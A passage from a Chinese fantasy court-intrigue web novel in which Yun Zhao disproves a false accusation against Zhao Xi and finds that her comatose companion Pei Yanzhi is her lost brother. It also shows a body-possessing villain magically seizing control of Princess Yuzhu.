但他毕竟宦海沉浮多年,强行压下惊疑:“云司主,殿下,此事确有蹊跷。我殷家女儿,不能白白受此**!”
云昭却故意淡淡道:“本官愿意相信,殷小姐所言句句属实。
世人常言女子名节重逾性命,但男子的清誉官声,同样不容污蔑折损。
殷小姐若还有其他旁证,不妨一并拿出,也好让此事水落石出。”
殷梦仙眼中泪光更盛,她再度看向赵悉,声音带着执拗的颤抖:
“仙儿也不知,赵大人后腰那颗红痣为何会突然不见了。但当日,我确实看得明明白白,绝无虚假!”
赵悉此刻已穿戴整齐,闻言冷笑一声:“诸位方才也瞧见了,殷小姐口中身带红痣、行止不堪之人,绝非本官!”
就在这时,沈清翎已指挥着几名侍女,端着茶点近前。
他自己手中则拿着一份卷宗,低声说了句什么,并将卷宗递上。
“沈主簿方才调取了前三起案发时的记录。”
赵悉朗声将三起案子逐一剖明,继而道,“……这三起案子,案发时间皆在深夜,且间隔不同。本官均有人证可以查实……”
殷弘业脸色更加难看,强辩道:“旁人的案子,我们殷家管不着。但当日发生在殷府的事,我女儿绝不能白白吃亏!”
殷梦仙拭去眼泪,露出一副破釜沉舟的神情:“事到如今,梦仙……梦仙也不得不拿出此物了。”
她说着,从自己腰间系着的一个精巧荷包中,小心翼翼地取出一枚玉佩。
玉佩是上好的羊脂白玉,中间雕刻一个镂空的“福”字,系着一条深紫色的丝绦。
赵悉一看到那玉佩,脸色瞬间一沉。
一旁的沈清翎也蹙眉都爱:“此玉佩,确是赵大人平日随身之物。
但据下官所知,赵大人这块玉佩,约莫在半个月前便遗失了。
此事,衙中几位同僚皆可证明。”
“谁信!”殷青柏立刻梗着脖子反驳,“你说丢了就丢了?说不定就是你行事不端时落下的!”
趁着几人打嘴仗的空档,云昭灌下一大碗热茶,一连吃下四五块点心,总算暂解腹中饥渴。
她方才故意让赵悉腰间的红痣“消失”,除了替赵悉解围,更深层的用意,是想逼出殷家掌握的、更切实的证据。
看这样子,除了玉佩,殷家也拿不出旁的东西了。
云昭目光扫过殷家三人,悠悠开口道:
“其实,想知道赵大人是否就是殷府后院的那个人,本官倒有个更直接的法子。
不必纠结于红痣真假,也不必争论玉佩归属。”
她转向侍立一旁的沈清翎:“沈主簿,劳烦你立刻派人,去请两位德行兼备的大夫过来。要快。”
沈清翎躬身:“是。不知司主欲请哪两位?”
云昭看向殷弘业,语气平和:
“回春堂的楚大夫,医术精湛,德高望重,在京城行医三十载。殷大人,你可信得过?”
殷弘业愣了一下,点了点头。但他随即又道:
“为公允起见,不妨再请一位。城南‘济世堂’的葛老大夫,也是杏林耆宿,声望卓著。”
云昭颔首:“可。就依殷大人,请楚、葛二位老先生。”
沈清翎领命,立刻安排腿脚伶俐的衙役速去相请。
殷梦仙闻言,脸上闪过一丝不易察觉的慌乱。
她怯生生地开口,声音带着无助:“云司主,这……大夫皆是男子,怎能让他们来查验梦仙……”
她双手绞着衣角,似乎又要落泪。
云昭看着她,微微一笑:“殷小姐放心,稍后大夫来了,并非要查验于你。”
她伸手指向一旁面露疑惑的赵悉,“查他。”
此言一出,不仅殷家三人愣住,连秦王萧启都投来探寻的目光。
查赵悉?
怎么个查法儿?
云昭却不急着解释,只道:“大夫到来尚需些时间。诸位
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不妨先用些茶点,稍安勿躁。”
趁着这个空当,云昭起身走向公堂一侧用来临时隔断的山水屏风之后。
墨七脚程极快,早已将云昭吩咐的“九转定魂香”取来。
此刻,屏风后一方小几上,一座青铜倒流香炉正静静燃着。
香炉顶部如莲台,一缕极细的烟气从莲心缓缓流出,却并非向上飘散,而是如同水流一般,沿着香炉外壁雕刻的沟壑蜿蜒而下,徐徐流淌。
最终在底部凝成一团氤氲不散的香云,将躺在一旁的裴琰之轻柔地笼罩其中。
此香是云昭以特殊手法炼制而成。
常人闻之,可安神定志。
而对于裴琰之这般魂魄受创之人,这袅袅香烟便如同最温和纯净的灵力抚慰。
不仅能暂时稳固其摇曳欲散的魂火,且能涤荡侵入体内的阴秽煞气,为他争取宝贵的续命时间。
云昭走到近前,目光首先落在裴琰之脸上。
他依旧双目紧闭,脸色苍白如纸,但眉宇间那股死气,在定魂香的滋养下似乎淡去些许。
然而,当云昭的目光下移,落在他胸口位置时,不由骤然一怔!
只见本该随着时间推移而变暗的鲜红符印,此刻反透出一层极其微弱的光晕!
这本应是件好事,意味着她匆忙间绘制的保命血咒,起到了超乎预期的效果。
但云昭心中却无半分喜悦,反而升起一股巨大的疑惑。
她的血固然蕴含灵力,但绝无可能自行产生如此明显的变化,除非……
一个惊人的念头划过脑海!
云昭顾不得深思,猛地抓起裴琰之的手,取出一枚金针,刺破他的中指指尖。
一滴血珠,滴落在裴琰之心口血符中央!
“噗……”
一声极轻的微响。
那滴属于裴琰之的血,与云昭的心头血绘制的符印接触的刹那,一抹灵光陡然擦亮!
一股难以言喻的微弱共鸣,顺着云昭尚未完全收回的指尖,清晰地传递到她的神魂之中!
云昭从自己发间拔下一根青丝,右手则极轻地从裴琰之散落的发鬓间也取下一根。
寻常人若想验证血脉,要取双方发丝各三根,以清晨汲取的无根井水浸泡,再行默念咒语,方能判断亲缘关系。
但云昭是玄师,只需将两根发丝托在掌心,双眸微阖:
“血脉同源,灵气为引;藤绕枝缠,亲缘自显。”
咒音落下的刹那,悬浮的两根发丝无风自动!
下一刻,便如有生命一般,以一种天然之态,结成一个微小却清晰的“同心结”!
云昭缓缓睁开眼,看着掌心缠绕的发结,猛地抬头,看向榻上昏迷不醒的裴琰之。
裴琰之……
竟是她的亲生兄长!
真正的姜珩!
第296章 丢了一魂
刹那间,无数念头如同决堤的洪流,冲击着云昭素来冷静自持的心防。
震惊、恍然、与酸楚交织,然而紧随其后的,却是更深的疑窦。
裴琰之既是兄长,为何在京城隐匿多年,却始终未与母亲苏氏相认?
是他当年遭遇大变,早已忘却前尘,不记得自己的真实身世?
还是其中另有隐情,亦或是,他始终憎恨姜家和苏氏?
千头万绪,纷乱如麻。
所有的答案,都必须等到救醒裴琰之,才有可能得知。
她压下翻腾的心绪,眼中一点深邃的银芒骤然亮起——
玄瞳之术,开!
裴琰之伤的,比她此前预估还要严重。
他不仅仅是神魂受损,三魂七魄之中的“爽灵”一魂,竟然空空如也!
云昭猛地收回灵力,脸色极为难看。
失了“爽灵”之魂,即便她能修复肉身伤势,拔除阴煞,裴琰之也不会苏醒。
爽灵若只是丢了,她还有办法找回。
可若是被人强行拘走、彻底炼化,裴琰之就真没救了!
哪怕日后有机缘苏醒,也只会彻底沦为一个口涎横流的痴傻之人!
情急之下,她心神激荡,袖袍一扫,不小心带倒了旁边小几上的一盏清水。
“哐当”一声轻响,瓷盏落地碎裂。
清水泼洒出来,在青砖地面上迅速蜿蜒流淌。
云昭下意识低头看去——
水渍蔓延,隐约勾勒出坎(水)下兑(泽)上的卦象!
水泽节卦,但此刻水覆于泽上,有泛滥成灾之象。
且卦形不稳,隐隐透出变爻的痕迹,直指凶险!
这偶然的“水卦”,竟也显示大凶?!
云昭心头一沉。难道连上天都在暗示,兄长此次凶多吉少?
脑海中倏然闪过一个画面——
前世死后,她灵魂飘忽,眼见萧启策马率兵冲入皇宫,身边始终跟着一位同样英武的年轻将领。
那将领的面容在梦里总是笼罩着一层薄雾,看不真切。
而萧启称呼他为“苏参将”。
从前,她下意识在苏家人中寻找那男子行迹,却从未找到对应之人。
如今细想,那人虽容貌模糊,但观其身形气质,不正是裴琰之?
可为何,前世的裴琰之活得好好的;
而这一世,他却早早地陷入如此绝境,命悬一线,魂魄离散?
一个念头让她通体生寒。
萧启绕过屏风,见云昭脸色苍白,不由伸手扶住她的肩膀:“云昭,到底怎么了?”
他目光扫过榻上的裴琰之:“你想救裴琰之,遇到难关了?
告诉我,需要什么,无论是什么奇珍异宝、只要这世上存在,我萧启必定为你取来!”
云昭微微摇首,回想起梦中场景,她一时说不出话来。
她曾以为,拔除萧启体内的七玄钉,救下他的性命,就等于改变了前世的命局。
可如今看来,世事远非如此……
就在这时,屏风外传来沈清翎的禀报声:
“殿下,云司主,回春堂楚大夫、济世堂葛大夫,二位已请到,正在堂外候见。”
云昭猛地回过神。
再睁开时,眼底的惊涛骇浪已被强行压下,恢复了惯有的清明与锋锐。
她并非因为得知裴琰之是兄长,才对他的伤势如此揪心——
即便裴琰之只是寻常同伴,只是个陌路人,她也会竭尽全力救治。
真正让她心神大乱的,是那个可怕的猜想:
裴琰之今日的绝境,或许……正是因她逆天重生、改变命数所带来的反噬与劫难!
心念电转之间,一股桀骜不屈的决绝,陡然升腾而起!
是又如何?!
那所谓的“府君”口口声声说她逆天而行!
可她既已重活一世,早就是将所谓“天命”踩在脚下!
若救兄长性命,非要再逆一次这天,再改一次这命,她便逆了又何妨?!
她最后看了一眼裴琰之苍白的睡颜,似在无声立誓。
而后毅然转身,在萧启的陪伴下绕过屏风,重新踏入公堂。
*
堂上,因为两位大夫的到来,气氛略有缓和。
所有人的目光,包括那两位老大夫,都齐刷刷地聚焦在云昭身上。
“今日请二位老先生前来,是为借二位的医术与清誉,做一见证。
世人皆知本官身负玄术,未免有人疑心本官以术法干涉,有失公允,
故特请二位杏林泰斗,以纯粹的医家手段,验证一事。”
云昭顿了顿,目光扫过殷家三人,最后落在赵悉身上:
“请问二位老先生,在医家典籍与药材辨识之中,“童溲”与寻常成年男子的尿液,当如何准确区分?”
此言一出,满堂皆静。
楚大夫和葛大夫面面相觑,都从对方眼中看到了错愕。
他们被京兆府衙役火急火燎地请来,本以为是要为哪位贵人诊治急症,或是勘验什么复杂的伤情毒物……
万万没想到,就为了这?
但见堂上气氛凝重,秦王殿下端坐一旁,赵府尹神色紧绷,那位殷大人脸色更是难看。
而发问的云司主神情严肃,绝非玩笑。
楚大夫沉吟片刻,率先抚须开口道:“云司主所问,确属医家可辨之列。
可用‘五灵脂’粉末少许,分别投入两种溲液中。
童子之溲,可使五灵脂迅速溶解,溶液清澈;
寻常之溲,则溶解较慢,且溶液易现浑浊。”
葛大夫接口道:“若求稳妥,还有一法。
取‘向阳朱砂’微量,研成极细粉末,分置两处,再分别滴入待验溲液。
童子元阳之溲,性纯且阳气足,能使朱砂粉末迅速均匀散开,色泽鲜艳;
反之,则散开滞涩,色泽暗沉。
此法在古医案中曾有记载,用以鉴别某些需用‘童溲’为引的方剂真伪。”
两位老大夫引经据典,皆是立足于医理,听得堂上众人神色各异。
赵悉越听,眼睛越亮,腰杆也不自觉地挺直了几分,脸上几乎要放出光来!
他当即朗声道:“好!就依二位老先生所言!需要何物,京兆府即刻准备!本官愿意当场配合验证!”
云昭目光转向脸色已然铁青的殷家三人:“诸位若无疑义,我们便当场一试,也好彻底了结这桩公案。”
殷弘业脸色难看至极,却一时说不出反驳的话。
殷梦仙更是脸色惨白,摇摇欲坠。
她难以置信地看向赵悉——
满京城谁人不知,宁远世子赵悉自小锦衣玉食,端得风流倜傥!
且从前也没少见他呼朋引伴,出入勾栏瓦肆。
他怎会还是个童子?
她猛地抬脸,神色凄绝。
“原来真是我误解了赵大人……”她声音颤抖,充满了悲凉,
“赵大人……若有来世,妾身没有被那恶贼污了清白,定当干干净净,再与赵大人续此缘分!”
说着,竟再次作势要向旁边的柱子撞去!
萧启手中那盏一直把玩着的青瓷茶
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盏,化作一道青光,击在殷梦仙的腰间软麻穴上!
茶盏一击即中,在半空中划出一道弧线,又飞回了萧启面前的桌上。
盏中茶水,竟未洒出半滴!
萧启看都未看瘫软在地、满脸惊骇的殷梦仙。
他声音不高,久居上位的威压,却瞬间笼罩了整个公堂:
“既然殷小姐口口声声,坚称自己失了清白,且此事牵扯朝廷命官,闹得沸沸扬扬。”
即日起,此案便移交本王亲自接手审理。”
“三位今日,便暂且‘歇’在京兆府吧。本王,现在就要亲自带人去殷府,好好查探一番。”
萧启说完,不再看殷家三人脸色变化,只抬了抬手。
几名一直如标枪般侍立在侧的黑衣侍卫无声上前,做出了“请”的手势。
虽未动武,但那训练有素的肃杀之气,比任何呵斥都更具威慑力。
殷弘业嘴唇翕动,似乎还想挣扎辩驳几句。
但在萧启目光的注视下,所有的话都堵在了喉咙里。
事已至此,再闹下去,只会让殷家更为被动。
殷青柏显然不服,拳头紧握,但在父亲隐晦而严厉的目光制止下,也只能狠狠瞪了赵悉一眼,咬牙转身。
殷梦仙早已被秦王那雷霆一击吓得魂不附体。
此刻更是瘫软无力,几乎是被两名侍女半搀半扶地“请”离了公堂。
公堂内暂时恢复了安静,只剩下自己人。
沈清翎递上出诊银两,亲自送两位大夫离开。
赵悉长长舒了一口气:“我的妈呀——!”
云昭却并未有分毫放松。
脑中飞快地将今日之事从头梳理,她看向赵悉,忽然问道:
“你此前,可曾得罪过殷家人?无论是公事还是私怨?”
赵悉被问得一愣,皱眉仔细回想,随即肯定地摇头:
“没有。殷弘业在吏部,与我所辖的京兆府事务交集甚少。
殷青柏在兵部,更是八竿子打不着。
至于殷梦仙,今日之前,我压根不知道殷家还有这么一位养女。
私下里,更无任何往来,何谈得罪?”
既无私怨,那便不是寻常的挟私报复。
殷梦仙今日所为,到底图什么?
她与萧启几乎是同时抬起头,两人异口同声:
“你家里有什么?”
“他看上你家什么东西了?”
赵悉眨眨眼:“我家里?最多的……大概就是银子。”
不同于那些底蕴深厚的勋贵之家,宁国公府世代武将,没人喜欢古董字画。
全家人的喜好都很直白:华服,美食,舒坦日子。
家里除了银子,好像也没私藏什么了不得的宝贝。
萧启想的更深一层,他命手下:“去查,殷弘业离京多日,所为何事,与何人交接,回京后又见过谁……”
一回京就闹这么一出,总会留下蛛丝马迹。
云昭又转向赵悉,当机立断:“你立刻回府。”
她略一思忖,“请有悔大师与你同回。让他仔细查探你府中,可有什么特别之物。”
赵悉神色一凛:“我这就去!”
“记住,”云昭补充道,“若有任何异常发现,切勿轻举妄动,立刻通知我与殿下。”
赵悉郑重应下,匆匆离去安排。
目送赵悉离开,云昭脸上的凝重之色并未减少。
殷家之事固然需要厘清,但眼下更迫在眉睫的,是她的兄长,裴琰之。
她必须尽快想出办法,寻回他被摄走的“爽灵”之魂。
第297章 延误者,死——!
四方馆。
姜珩步履从容地回到专为朱玉国使团安排的院落。
还未走进玉珠公主所居的主院,便听到里面传来男女调笑的靡靡之音。
夹杂着玉珠公主放浪形骸的娇笑,与男子们争先恐后、刻意讨好的话语。
姜珩脸上无波无澜,径直走到门前,甚至没有敲门,直接推门而入。
屋内,玉珠公主正半倚在铺着华丽锦缎的软榻上,身边围着两名容貌俊秀、衣着单薄的年轻男子。
一个男子蹲在她身前,为她捏腿;
另一个正将剥好的葡萄含入口中,嘴对嘴喂到她唇边。
房间里弥漫着酒香混合着暖情香的气息。
玉珠公主眉眼含春,脸颊酡红,显然已有了几分醉意。
听到门响,玉珠公主不悦地蹙眉,正待呵斥是哪个不懂规矩的奴才,抬眼却见是姜珩站在门口。
昏黄的灯光下,姜珩穿着一身淡青色常服。
他的容貌依旧,但眉宇间再无往日那般故作清高之姿,取而代之的是一种深不见底的平静。
以及一种……难以言喻的、仿佛居于云端俯瞰众生的漠然。
明明还是那个人,气质却已天差地别。
宛如蒙尘的美玉被骤然拭净,显露出内里冰冷剔透的本质。
高不可攀,又隐隐透着危险。
玉珠公主原本对姜珩早已生腻。
觉得他除了一副皮囊尚可,内里乏味又带着文人的酸腐气,相处起来实在没什么意思。
可此刻,她被姜珩身上骤然改变的气场所慑,竟觉心头一悸。
一股混合着征服欲与隐隐惧意的刺激感涌了上来。
她下意识地咽了咽口水,原本迷蒙的醉眼都清明了几分。
她挥了挥手,语气带着不容置疑:“你们都退下。”
那两名男宠虽有不甘,却不敢违逆,低头躬身退了出去,小心地带上了门。
屋内只剩下两人。
玉珠公主调整了一下姿势,做出一副玉体横陈之态。
她眼波流转,带着钩子似的看向姜珩:“姜郎今日……似乎有些不同?
过来,让本公主好生瞧瞧……”
姜珩却并未依言上前亲昵,反而自顾自地,在离软榻不远的一张圈椅上坐下。
他姿态闲适,目光平静地落在玉珠公主脸上,开口的话却如同冰水浇头:
“公主殿下大难临头,竟还有心思在此寻欢作乐。”
玉珠公主脸色一变。
那点刚升起的旖旎心思,瞬间被恼怒取代:“姜珩!你少在这里危言耸听!本公主能有什么大难?我看你是……”
她的话戛然而止。
因为姜珩不知何时已如鬼魅般出现在她榻边,速度快得她根本没看清!
一只冰冷修长的手,如同铁钳般,毫不留情地扼住了她纤细的脖颈!
“呃——!”
玉珠公主双目骤然圆睁,粉颊爆红,身躯控制不住地略微反弓。
一股强烈的窒息感,瞬间攫住了她。
她不是没跟男宠玩过这种略带暴力的游戏。
但那些人从来都是小心翼翼地掌控着力道,绝不敢真的伤她分毫。
可此刻,颈间那只手传来的力量冰冷而稳定,且在不断收紧,没有丝毫犹豫或怜惜。
她是真真切切地感受到了死亡逼近的恐惧!
空气被迅速剥夺,视线开始模糊,肺脏仿佛都要憋炸了……
她毫不怀疑,只要自己再迟疑一瞬,这个男人真的会活生生掐死她!
求生的本能压倒了一切!
她再也顾不得公主的威仪,双手徒劳地试图掰开那只铁手,喉咙里发出“嗬嗬”的声响。
望向上方面孔的双眼,充满了最原始的哀告与恐惧。
“求……求你……”她用尽最后力气,挤出破碎的音节。
姜珩这才缓缓松开了手。
“咳!咳咳咳!”
玉珠公主如同濒死的鱼重新回到水中,瘫在榻上剧烈地咳嗽喘息。
眼泪鼻涕糊了一脸,她看向姜珩的眼神,充满了惊魂未定的骇然。
姜珩已然退回原位,优哉游哉地坐在椅上。
仿佛刚才那暴烈的一幕从未发生。
他甚至拿起桌上玉珠公主用过的金杯,慢条斯理地倒了半杯酒,轻轻晃动着。
烛光下,他另一只手中把玩着一颗约莫鸽卵大小、浑圆剔透的珠子。
那珠子材质似琉璃,又似某种罕见的水晶,内部并非实心,而是氤氲着一团柔和却灵动的光晕。
那光晕如同有生命的星云,在珠子内部缓缓流转。
时而凝聚成模糊的人形轮廓,时而又散开如雾,散发出一种纯净却又脆弱的灵光波动。
玉珠公主从未见姜珩拿出过这样的东西。
她喘息稍定,目光不由自主地被那珠子吸引。
那里面流转的光……让她莫名感到一种说不出的恐惧。
姜珩饮尽杯中酒,目光重新落回惊魂未定的玉珠公主身上,语气平淡得仿佛在吩咐晚膳。
“寻个由头,让人去请三皇子和左贤王兀术过来。立刻。”
他的手指轻轻摩挲着那颗囚禁着魂魄的珠子,银白色的光晕映在他深不见底的眼眸中,明明灭灭。
珠子里面,正是从裴琰之体内强行摄出的、“爽灵”一魂。
玉珠公主的脸色微僵。
她虽然贪玩好色,行事荒唐,但毕竟出身王室,见识过不少阴谋诡谲。
眼前的姜珩,与往日那个斯文优柔,甚至带着几分讨好献媚的“兰台公子”判若两人,简直像是被什么可怕的怪物替换了芯子!
脖颈上火辣辣的疼痛与窒息感仍在,而此刻房间内并无侍卫在侧守护。
硬碰硬,无异于自寻死路。
她暗清了清嗓子,声音放得又绵又媚:“姜郎,你这是打算做什么?”
她眼波流转,身子也微微前倾:“你我早已有了夫妻之实。
再过不了多久,还要在你们大晋皇帝陛下和满朝文武面前,风风光光地完婚,成为名正言顺的夫妻。
姜郎心里有什么打算,不妨说给我听。我必定是向着你的呀。”
玉珠公主这话也不算全无头脑。
她不仅是在向姜珩示好,更是在暗示他。
今夜若真伤了她,他也要吃不了兜着走。
届时,莫说尚公主的美梦,恐怕连性命都难保。
姜珩闻言,终于正眼看了她一下。
他唇角勾起一个讥诮的弧度,似笑非笑:“你确实应当知道。毕竟,接下来的事,还需要你这‘公主’的身份。”
他目光冷淡地扫向不远处梳妆台:“去。把你藏在盒底暗格里的好东西拿过来。”
玉珠公主瞳孔骤然收缩!
盒底暗格里的东西,不同于她平日里爱用的那些小玩意儿,而是切切实实的**!
此事,就连她的贴身侍女都不知道!姜珩又是如何得知的?
况且,话说到这一步,他想做什么,已经不言而喻了!
“你——!”玉珠公主失声叫了出来。
看向姜珩的眼神,如在看一个披着人皮的妖魔。
姜珩看着她,脸上的神情如在看一个愚不可及的废物:
“赫连曜早已暗中与人勾结,布下杀局。你却还在此
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地醉生梦死,对他死心塌地。难怪会沦为弃子。”
玉珠公主浑身剧震,她连连摇头:“三哥不会杀我!”
她与三皇子赫连曜乃是一母同胞的亲兄妹!
况且,她又不是皇子,对王位毫无威胁!
无论她最终是留在大晋,还是随赫连曜返回朱玉国,只要她活着,永远都是他最忠实的拥趸!
杀她,于赫连曜有何益处?
姜珩眼底最后一丝耐心也消耗殆尽。
他不再多费唇舌,右手探入怀中,取出一个手巴掌大小的布扎人偶。
布偶有头有四肢,空白的脸上,用朱砂草草绘就两点眼睛和一张嘴,透着说不出的阴森。
他上前一步,在玉珠公主惊愕的目光中,粗鲁地扯下她几根发丝。
紧接着,他将发丝缠绕在布偶周身,口中默念咒诀。
玉珠公主只觉得头皮被扯处微微一痛。
随即,一股难以形容的冰冷滑腻,顺着那几根发丝被扯断的地方,猛地钻入了她的身体!
她惊恐地想要尖叫、想要挣扎,却发现自己的身体开始不受控制地微微颤抖。
姜珩眼神一厉,左手食指的指甲,在玉珠公主因惊骇而微张的嘴唇上轻轻一划——
他动作看似轻柔,指尖却蕴含着一股阴寒的劲力,瞬间划破了她娇嫩的唇瓣。
一滴血珠沁出。
姜珩指尖蘸取血珠,精准点在了布偶眉心!
布偶的脸,骤然亮起一丝妖异的红光!
与此同时,缠绕在布偶身上的那些发丝,仿佛活了过来,微微蠕动收紧,将布偶捆缚得更加扭曲。
玉珠公主猛地瞪大了眼!
她感觉自己的眉心仿佛被一根烧红的铁针狠狠刺入!
“不……呃啊!”玉珠公主发出一声充满痛苦和抗拒的叫声。
紧接着,她的四肢不受控制地胡乱摆动,漂亮的五官因抗拒而扭曲,额头上青筋暴起,嘴角甚至不受控制地溢出了白沫!
姜珩眼中闪过一丝讶异。
他倒是没料到,这看似荒淫无度的玉珠公主,内里意志竟如此爆烈倔强。
通常人在这种“缚魂偶”术下,很快就会失去抵抗。
“倒是一味……意外的‘好材料’。”他低声自语。
着玉珠公主鲜血的食指再次抬起。
这一次,指尖凝聚起一缕灵力,在玉珠公主的头顶重重一抹。
人有三魂:胎光(主生命)、爽灵(主智慧)、幽精(主情欲)。
寻常摄魂控人之术,多针对易受影响的“幽精”。
而他此刻所画符印,却是直指三魂核心,以施术者的魂力为引,压制受术者的爽灵。
玉珠公主浑身一颤,如被抽走了所有骨头,所有的挣扎和反抗都在刹那间停止。
她眼中的种种情绪,如同潮水般迅速褪去,取而代之的是一片空洞的茫然。
片刻之后,她如同提线木偶般,动作略显僵硬地缓缓起身。
一步一步,走向门口,打开了房门。
门外侍立的两名婢女正垂首静候。
“去,”玉珠公主开口,“喊我三哥过来,还有左贤王兀术。”
两名婢女面面相觑,眼中都流露出疑惑。
公主晚间,向来都是寻欢作乐的时辰,从未主动找过三皇子或左贤王议事。
而那两位,也素来嫌弃公主夜间放浪形骸,除非必要,绝不会在晚间踏足公主居所。
见她们迟疑,玉珠公主的声音陡然拔高:“快去!
就说我有事关朱玉国生死存亡的紧要大事,必须立刻与他们相商!
延误者,死——!”
第298章 富贵险中求!
婢女被这充满杀气的命令吓得魂飞魄散。
二人头垂得几乎要埋进胸口,也因此她们没有看见,玉珠公主的唇边,正缓缓溢出一缕新鲜的血渍,顺着苍白的下颌滑落。
“是……是!奴婢这就去!”
两名婢女颤声应道,转身朝着外间狂奔而去。
姜珩看着玉珠公主僵硬转身,一步步走回屋内,脸上的神情并不轻松,反而有些阴沉。
控制玉珠,比他预想的要耗费更多心神。
方才强行建立“魂契”,虽然能让她在短时间内绝对服从命令,但这种方式对受术者魂魄损伤较大。
且控制下的言行举止,会显得僵硬刻板,远不如用“缚魂偶”来得灵活自然,不易被亲近之人看出破绽。
只是时间紧迫,他等不起那**功夫。
更让他烦闷的是,这具身体……还是太弱了。
神魂深处传来阵阵隐痛,那是之前与云昭隔空斗法时留下的旧伤。
彼时他操控的那具身躯,年轻俊美,体魄强健,神魂契合度也高。
是他历时三年,精心挑选,蕴养了许久的“容器”,本打算长期使用。
谁知那日,他运气如此之差!
云昭那女人不知用了何种霸道手段,隔空一击,不仅重创了他依附在那具身躯上的分神,更伤及了他通过秘法连接的部分本源魂力!
伤处不偏不倚,正在“灵枢窍”!
此窍,如同魂魄与肉身连接的枢纽阀门,一经受损,他便无法再长期稳固地操控那具身躯。
之后,他勉强回到京城,彻底吸干了那具身躯的全部精髓阳气,选择暂时栖身于姜珩体内。
这姜珩的躯壳,容貌气度尚可,但实在太过柔弱,肩不能扛手不能提!
更麻烦的是,因为那夜裴琰之的突然打断,原主的魂魄意识,并未被彻底挤出!
只因他突如其来的魂力冲击,暂时陷入了被压制状态。
大部分时间里,原主姜珩的意识都如同沉睡在漆黑海底,无法干涉他的行动。
可一旦他施展稍耗心神的术法,或者这具身体受到刺激,沉睡的意识就会如同水中浮木,挣扎飘起。
在他的识海里疯狂嘶吼、咒骂,要求夺回身体的控制权。
就像现在。
“放我出去!你这妖人!把我的身体还给我!”
“噤声!”他在识海中冷声呵斥。
但那种被内部不断冲击的感觉,依旧让他眉心紧蹙,烦闷不已。
“待我寻到更合适的躯壳,自会放你这残破皮囊自由。现在,给我安静待着。”
识海中的咆哮渐渐微弱下去,但并未消失,如同潜伏的暗流。
姜珩似乎冷静了些。
毕竟,方才他与玉珠公主的对话,以及施展术法的全过程,姜珩都“看”在眼里,“听”在耳中。
震惊恐惧之余,一股难以言喻的渴望,悄然在姜珩心底滋生:
如果他也能学会这种术法,轻易掌控他人,那该多好?
届时,何须再对玉珠公主卑躬屈膝、曲意逢迎?
她只会是他脚下最听话的一条狗,予取予求!
那些曾经看不起他的、践踏过他的、高高在上的人物……
譬如太子,譬如……萧启!
是否也能被他的术法所制,为他所用?!
云昭那个**!
她凭什么处处压他一头,一次次让他和姜家跌入深渊?
不就是仗着走了狗屎运,得了清微谷的传承,学了那些玄门术法吗?
如今,他的“机缘”似乎也来了!
尽管伴随着巨大的凶险……但富贵险中求!
哪怕是与虎谋皮,他姜珩,未必不能成为执棋之人,而非棋子!
这个念头一旦生出,便如同野火燎原,瞬间点燃了他骨子里所有的偏执与不甘。
想到此,姜珩不再激烈地吵嚷反抗,反而开始以一种微妙的心态,静静观察着“他”的一举一动,开始了观摩和学习。
占据者自然能感受到这微妙的变化,但他并不在意。
蝼蚁的妄念,不足为虑。
他抬起手,又为自己斟了一杯酒。
识海中,姜珩的声音带着一丝试探:“你……看中了谁?三皇子,还是左贤王?”
他没有回答。
心中却漠然想道:哪个都不是上佳之选。
左贤王兀术,身躯倒是足够强悍,征战多年,体魄远胜常人。
可惜……他太老了。
男人年逾四十,气血已开始衰败。更别提兀术都已经五十多岁!
且他身上暗伤旧疾不少,并非理想的“容器”。
三皇子赫连曜,倒是年轻俊美,身份尊贵,皮囊堪称一流。
但恰恰因为这身份太敏感——
异国皇子,身处大晋京城,本就是各方目光焦点,行动处处受限。
想要频繁出入宫禁、接近东宫,或是往来于那些勋贵府邸,远比一个“投靠”太子的落魄公子要困难得多,也惹眼得多。
远不如姜珩现在这个身份方便行事。
就在这时,门外走廊传来了由远及近的脚步声,以及隐约的、属于男子的低沉交谈声。
他放下酒杯,目光转向房门,脸上露出一丝带着掌控意味的满意神色。
“吱呀——”
房门被从外推开。
率先出现在门口的,是一张饱经风霜的面容。
来人面容清癯,蓄着短须,气度沉凝,正是朱玉国左贤王——兀术。
姜珩的目光下意识地越过兀术宽阔的肩膀,向他身后幽暗的廊道望去。
三皇子赫连曜并未同来。
他不由皱了皱眉,心下不悦。
玉珠公主脖颈转动了一下,面向兀术,嘴唇开合:
“为何不见三哥同来?本公主有要事,需与三哥当面商议。”
兀术面上没太大变化,只是眉头微蹙:“公主殿下若是精神不济,便该早些安歇。
如此深夜,兴师动众,还将自己弄成这副模样,实在有失体统,更非养生之道。”
姜珩心中暗恼,这老狐狸,果然警觉。
他站起身,做出恭敬姿态:“回王爷的话,公主方才小憩片刻,不想被噩梦惊醒,心悸难安。
醒来后便十分想念三皇子殿下,定要立刻见到兄长,以慰惊惶。
下官劝阻不住,只得惊扰王爷。不知,三皇子殿下此刻……”
兀术闻言,眉头皱得更紧,脸上闪过一抹不耐。
他冷哼了声:“自从来了这大晋京城,你们一个个的,主意倒是越来越大!
谁知道他又钻到哪个角落里去了?本王亦不知晓!”
说完,他转头对门外噤若寒蝉的婢女厉声吩咐:
“好生照顾公主!若再有什么不适,立刻传唤随行医官!”
说罢,竟袍袖一拂,转身便大步离去。
姜珩神色阴沉地看着兀术离去的方向,眼中寒光闪烁。
兀术只是他计划中顺带的目标,甚至可以说是备选中的备选。
今晚首要拿下的,是三皇子赫连曜。
若贸然对兀术动手,极易打草惊蛇,到时想再控制赫连曜就难了。
权衡利弊,他只能强压住出手的冲动,眼睁睁看着兀术离开。
室内重归寂静,只剩下**控的玉珠公主僵立原地。
他沉默地走到玉珠公主面前,抬手在她头顶轻轻一抹。
玉珠公主浑身一颤。
浑噩的神情褪去,她双腿一软,连哼都未哼一声,便“噗通”一声栽倒在地毯上,不省人事。
姜珩看都未看地上的玉珠一眼,眉宇间的阴沉之色却愈发浓重。
今夜计划受阻,让他心生恼恨。
离开京城不过三年光景,许多人事,竟已隐隐脱离了掌控……
从前他并未太过在意云昭,活了便活了,无甚紧要!
一个侥幸得了些师门传承的黄毛丫头,再厉害又能翻起多大风浪?
如今亲身间接交手,才知玉衡所言非虚。
他布局多
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年,暗中耗费无数心血培养的几名精锐手下,竟然逐一折损在此女手上!
甚至连他好不容易寻到的备用身躯,也被她间接毁去!
这让他如何不恨?
云昭……必须尽早除掉!否则必将坏他大事!
*
暮色四合,最后一缕残阳,斜照在郁郁葱葱的山道。
一辆外观朴素的马车,正沿着山路疾行,急着赶在城门关闭前回城。
忽然,拉车的驽马不知被何物惊扰,发出一声惊恐的嘶鸣,前蹄猛地扬起。
车夫猝不及防,被甩脱了缰绳。
